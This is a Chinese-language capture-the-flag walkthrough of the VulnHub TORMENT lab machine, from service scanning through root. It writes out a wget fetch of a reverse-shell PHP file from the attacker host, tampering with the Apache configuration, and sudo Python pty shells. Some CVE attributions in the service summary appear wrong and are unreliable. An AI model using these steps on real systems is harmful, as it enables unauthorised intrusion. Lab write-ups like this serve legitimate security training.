digitalworld.local: TORMENT
digitalworld.local: TORMENT
来自 <digitalworld.local: TORMENT ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.133
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.133
1. FTP 服务(21/tcp)
- 服务信息:vsftpd 3.0.3(扫描中显示 “2.0.8 or later”,通过ftp-syst脚本确认实际版本为 3.0.3)
- 核心特征:
- 允许匿名登录(FTP code 230),无需账号密码即可访问文件
- 暴露大量系统相关文件(如dpkg.status.0、apt.extended_states.0),均为 Debian 系统的包管理(dpkg)、依赖管理(apt)配置备份
- 安全风险:
- 匿名登录直接泄露系统配置细节,攻击者可通过分析备份文件获取系统组件版本、已安装软件等信息,为后续漏洞利用铺路
- 若 FTP 服务允许写入(当前未显示,但需进一步验证),可能导致恶意文件上传
2. SSH 服务(22/tcp)
- 服务信息:OpenSSH 7.4p1 Debian 10+deb9u4(对应 Debian 9 系统)
- 核心特征:
- 支持 SSH 2.0 协议,暴露 3 类主机密钥(RSA 2048 位、ECDSA 256 位、ED25519 256 位),密钥强度符合基础安全要求
- 安全风险:
- OpenSSH 7.4p1(2017 年发布)存在历史漏洞(如 CVE-2018-15473,用户名枚举漏洞),攻击者可通过工具批量验证用户名有效性
- 若管理员使用弱密码(如 “123456”、“debian”),易遭受暴力破解攻击
3. SMTP 服务(25/tcp)
- 服务信息:Postfix smtpd(邮件传输代理)
- 核心特征:
- 支持 STARTTLS(加密传输),但ssl-date脚本提示 “TLS randomness does not represent time”,说明 TLS 随机数生成可能存在问题,加密安全性降低
- 证书有效期为 2018-12-23 至 2028-12-20(长期有效,未定期轮换),且仅绑定主机名 “TORMENT”
- 安全风险:
- 若未配置严格的发件验证(如 SPF、DKIM),可能被滥用为垃圾邮件转发服务器
- TLS 随机数问题可能导致加密会话被破解,泄露邮件内容
4. HTTP 服务(80/tcp)
- 服务信息:Apache httpd 2.4.25(Debian 默认配置)
- 核心特征:
- 首页为 “Apache2 Debian Default Page”(默认页面未修改),未暴露自定义业务逻辑
- 服务器版本明确(无版本隐藏),易被针对性查找漏洞
- 安全风险:
- Apache 2.4.25(2017 年发布)存在多个历史漏洞(如 CVE-2017-7659,HTTP 请求走私漏洞;CVE-2021-41773,路径穿越漏洞),若未打补丁可能被远程利用
- 默认页面可能泄露服务器类型,增加攻击者信息收集效率
5. NFS 服务(111/tcp、2049/tcp 及关联端口)
- 服务信息:NFS 3-4 版本(网络文件系统),依赖rpcbind(111 端口)、mountd(46029/51045/57009 端口)、nlockmgr(38833 端口)
- 核心特征:
- rpcinfo脚本显示 NFS 服务支持 TCP/UDP、IPv4/IPv6,且nfs_acl(访问控制列表)功能启用
- 安全风险:
- 若 NFS 共享目录配置不当(如允许匿名挂载、权限为777),攻击者可挂载目标文件系统,读取 / 修改敏感数据
- NFSv3 版本本身安全性较低(无加密传输),数据在局域网内可能被嗅探
6. Samba 服务(139/tcp、445/tcp)
- 服务信息:Samba 4.5.12-Debian(Windows 文件共享协议)
- 核心特征:
- 工作组为 “WORKGROUP”(默认配置),主机名 “TORMENT”
- smb-security-mode脚本显示:消息签名未启用(dangerous, but default),smb2-security-mode显示 “消息签名启用但非强制”
- 安全风险:
- 消息签名未强制启用,可能遭受 “中间人攻击”(MITM),篡改或窃取共享文件数据
- Samba 4.5.12 存在历史漏洞(如 CVE-2017-7494,远程代码执行漏洞),若未打补丁可能被远程控制
- 若存在可匿名访问的共享目录,可能泄露敏感文件
7. IMAP 服务(143/tcp)
- 服务信息:Dovecot imapd(邮件接收协议服务)
- 核心特征:
- 支持 PLAIN、LOGIN 认证,支持 IDLE(长连接)、SASL-IR(认证扩展)等功能
- 安全风险:
- 未启用 SSL/TLS(默认 143 端口为明文传输),账号密码在传输过程中可能被嗅探
- 若邮箱账号使用弱密码,易被暴力破解
8. IPP 服务(631/tcp)
- 服务信息:CUPS 2.2(通用 UNIX 打印系统)
- 核心特征:
- 支持 PUT 方法(标记为 “Potentially risky”),http-robots.txt仅禁止访问根目录(/)
- 首页为 CUPS 默认管理页面,未隐藏版本信息
- 安全风险:
- PUT 方法可能允许攻击者上传恶意文件(如打印任务配置文件),若服务权限过高可能导致权限提升
- CUPS 2.2 存在历史漏洞(如 CVE-2018-4700,远程代码执行漏洞),若未打补丁可能被利用
9. IRC 服务(6667/6668/6669/6672/6674/tcp)
- 服务信息:ngircd(轻量级 IRC 服务器)
- 核心特征:
- 开放 5 个标准 IRC 端口(6667 为默认端口,6668/6669 为备用,6672/6674 为非标准端口)
- 安全风险:
- 若 IRC 服务配置不当(如允许匿名注册、未限制用户权限),可能被用作 “僵尸网络” 控制节点
- ngircd 若为旧版本,可能存在缓冲区溢出等远程漏洞(需进一步确认版本)
4,根据扫描结果,先尝试匿名登录ftp服务器
登录成功,发现一堆压缩文件。下载所有文件到kali中
prompt
mget *
权限不够无法下载group.bak、gshadow.bak、passwd.bak、shadow.bak
5,再访问80端口开放的http服务
是默认页面,再深度探测扫描一下子目录
gobuster dir -u http://192.168.23.133 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403
http://192.168.23.133/secret
是痛苦先于忍耐,还是忍耐先于痛苦?再子目录探测却一无所获
gobuster dir -u http://192.168.23.133/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403
6,再枚举扫描smb服务信息enum4linux
7,再访问631端口服务
一、CUPS 概述
CUPS(Common Unix Printing System,通用 Unix 打印系统)是一个开源的打印系统,主要用于类 Unix 操作系统(如 Linux、macOS、BSD)。它由 Apple Inc. 维护和开发,采用 Internet Printing Protocol (IPP) 作为核心打印协议,同时兼容传统的打印协议(如 LPD、SMB、IPP over HTTP)。
CUPS 允许系统作为 打印客户端、打印服务器 或 打印任务管理系统,支持:
- 多用户环境下的打印任务管理;
- 打印任务队列(spooling)和调度;
- 打印驱动与 PPD(PostScript Printer Description)管理;
- 基于 Web 的远程管理界面。
二、CUPS 2.2.1 版本背景
- 发布日期:2016年12月21日
- 主要特性:这是 CUPS 2.2 系列的一个维护版本(第二个修订版)。相较于 2.2.0,2.2.1 主要是修复问题和小幅优化。
- 适用平台:GNU/Linux 发行版、macOS,以及其它类 Unix 系统。
三、CUPS 2.2.1 的主要改进
相较于之前版本,CUPS 2.2.1 带来了以下更新:
- 修复若干安全与稳定性问题
- 增强了 IPP 协议实现的健壮性,避免异常输入导致崩溃。
- 改进了一些权限检查,减少非预期操作的可能性。
- 性能与兼容性优化
- 改善了在高并发打印队列下的性能表现。
- 优化了对部分厂商打印机驱动(PPD)的解析。
- 提升了 IPP Everywhere 打印协议的兼容性。
- 错误修复
- 解决了 2.2.0 版本中一些已知 bug,如 web 界面打印配置错误、日志记录异常等问题。
- 修正了打印任务在某些网络环境下丢失的情况。
四、CUPS 2.2.1 的架构
CUPS 的核心组件在 2.2.1 中没有大变动,主要由以下部分构成:
- cupsd:CUPS 守护进程,负责接收和管理打印任务;
- 过滤器(filters):将不同的文件格式(PDF、PostScript、文本等)转换为打印机可识别的数据;
- 后端(backends):实现与打印机的实际通信(USB、IPP、LPD、SMB 等协议);
- PPD 文件:定义打印机功能和参数;
- Web 管理界面:默认监听 http://localhost:631,可进行打印机配置和任务管理。
五、安全注意事项
CUPS 作为网络服务运行时,尤其需要注意安全配置。
在 CUPS 2.2.1 版本中,官方也特别强调了:
- 默认仅本地可访问管理界面;
- 需要在 /etc/cups/cupsd.conf 中手动配置远程访问;
- 建议开启基于 TLS 的安全连接;
- 在多用户系统中应严格控制管理员组(lpadmin)权限。
六、应用与影响
- Linux 桌面发行版:多数桌面发行版(Ubuntu、Fedora、Debian 等)都内置 CUPS 作为默认打印服务;
- macOS:CUPS 是 macOS 打印系统的核心;
- 企业环境:常用于集中式打印服务器,统一管理多台打印机和大量用户的打印需求。
扫描识别网站指纹特征
whatweb http://192.168.23.133:631
枚举爆破网站子目录
gobuster dir -u http://192.168.23.133:631 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403
扫出来很多东西。再看看历史版本漏洞
没有对应合适的版本
8,还是回到ftp服务器
发现存在.ssh文件夹,怀疑ftp服务器共享的是某个用户家目录。
下载这个私钥文件
暂时用不上,因为使用私钥需要密码
9,再看.ngircd目录下文件
怀疑是一对登录账户密码
10,安装可以连接IRC服务的软件
export https_proxy="http://192.168.99.74:7897"
apt-get update
apt-get install pidgin
ngircd有配置文件,查看即可获取密码
cat /etc/ngircd/ngircd.conf
wealllikedebian
加入频道#tormentedprinter测试,发现可行,并且获取到一个密码mostmachineshaveasupersecurekeyandalongpassphrase
11,得到密钥密码后再尝试使用ssh密钥进行连接
ssh patrick@192.168.23.133 -i id_rsa
登录成功,信息收集一下
id
uname -a
lsb_release -a
ls /home
然后查看如何提权
sudo -l
/bin/systemctl poweroff, /bin/systemctl halt, /bin/systemctl reboot
这些已经暗示了提权与某些服务有关
find / -perm 777 -type f 2>/dev/null
发现apache服务的apache.conf对所有用户都具有读写权限。编辑apache.conf文件,添加内容内容使web服务属主变成qiu用户
nano /etc/apache2/apache2.conf
kali上用于反弹shell的木马注意要修改端口和IP地址
然后在网站根目录下载kali自带的反弹shell文件,然后再重启服务
cd /var/www/html/
wget http://192.168.23.128:8000/shell.php
sudo /bin/systemctl reboot
直接访问木马文件链接http://192.168.23.133/shell.php,然后kali开启对4444端口的监听,成功getshell
12,然后尝试python启动一个可交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
直接sudo启动一个shell即可
sudo python -c 'import pty;pty.spawn("/bin/bash")'
权限提升思路
- 常规枚举
- 登录后查看用户、系统版本与 sudo 权限。
- 发现 patrick 用户可执行部分 systemctl 命令(重启/关机相关),提示提权可能与服务或配置文件有关。
- 错误配置利用
- 枚举过程中发现 Apache 配置文件对所有用户开放写权限(777)。
- 这意味着攻击者可篡改配置文件并影响 Web 服务行为。
- Webshell 植入
- 将反弹 shell 脚本放置于 Web 根目录,利用 Apache 服务加载执行,成功反弹一个更高权限的 shell。
- 稳定提权
- 在目标机内借助 Python 伪终端增强交互性。
- 再结合 sudo 配置,直接以 Python 方式执行 root 权限的交互式 shell。
- 最终完全控制靶机。
关键战法总结
- 多服务并行信息收集
- 靶机暴露大量服务,不应只盯一个口子,要通过横向关联找到利用链。
- 本例中 FTP → IRC → SSH → Apache → Root,正是通过“串珠式”组合完成突破。
- 凭证搜集与复用
- FTP 匿名访问 → 获取 .ssh 文件
- IRC 渠道 → 泄露口令
- 两者结合,形成 SSH 登录突破口。
- 这是典型的 “弱配置+凭证复用” 战术。
- 配置文件写权限利用
- 异常的权限(777)往往意味着提权机会。
- 修改 Apache 配置 → 触发服务重启 → 反弹 shell,属于利用“服务配置错误”提权的经典案例。
- 多阶段提权
- 初始用户 → 配置文件写入 → Webshell → sudo 滥用 → Root。
- 每一步都通过本地信息枚举找到下一跳,而非盲目尝试。
- 服务指纹与历史漏洞
- 扫描阶段识别出大量已知漏洞(如 Samba、Apache、CUPS 等),虽然未直接利用,但帮助确认了系统落后、存在安全管理缺陷的整体环境。
- 在实战中,这种“多点可选”的环境为渗透者提供了灵活空间。